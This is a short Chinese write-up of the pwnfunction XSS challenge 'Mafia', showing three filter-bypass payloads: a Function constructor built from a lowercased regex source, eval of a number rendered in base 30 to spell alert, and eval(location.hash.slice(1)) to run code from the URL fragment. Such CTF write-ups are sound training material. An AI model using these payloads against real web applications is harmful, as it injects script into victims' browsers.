xss.pwnfunction-Mafia

这个是利用的构造函数 用source来获取构造函数的源码并转化成小写

javascript 复制代码
Function(/ALERT(1337)/.source.toLowerCase())()

parseInt(string, radix)

  • string:要被解析的字符串。
  • radix:解析时使用的基数(进制)。可选参数,默认为10。

用parseint将alert转成进制

这里为什么用30因为在转换进制的时候是0-9其次才是a-z也就是说他在20位加上0-9正好是30

javascript 复制代码
eval(8680439..toString(30))(1337)

"location.hash" 是 JavaScript 中用来获取当前页面 URL 中的锚点(即 # 号后面的部分)的属性。通过访问 "location.hash",你可以获取当前页面 URL 中的锚点信息

"slice" 是 JavaScript 中用来提取字符串中指定部分的方法。

javascript 复制代码
eval(location.hash.slice(1))
相关推荐
Zestia7 分钟前
页面点击跳转源代码?——element-jumper插件实现
前端·javascript
前端小白19957 分钟前
面试取经:工程化篇-webpack性能优化之优化loader性能
前端·面试·前端工程化
PineappleCoder7 分钟前
大小写 + 标点全搞定!JS 如何精准统计单词频率?
前端·javascript·算法
zhangbao90s8 分钟前
Web组件:使用Shadow DOM
前端
hhy前端之旅9 分钟前
语义版本控制:掌握版本管理的艺术
前端
coding随想9 分钟前
深入浅出DOM操作的隐藏利器:Range(范围)对象——掌控文档的“手术刀”
前端
前端小白19959 分钟前
面试取经:工程化篇-webpack性能优化之减少模块解析
前端·面试·前端工程化
一枚前端小能手10 分钟前
🏗️ 项目越来越大维护不动了,微前端架构了解一下
前端
文艺理科生18 分钟前
Nuxt.js入门指南-Vue生态下的高效渲染技术
前端·vue.js·nuxt.js
夏小花花22 分钟前
vue3 ref和reactive的区别和使用场景
前端·javascript·vue.js·typescript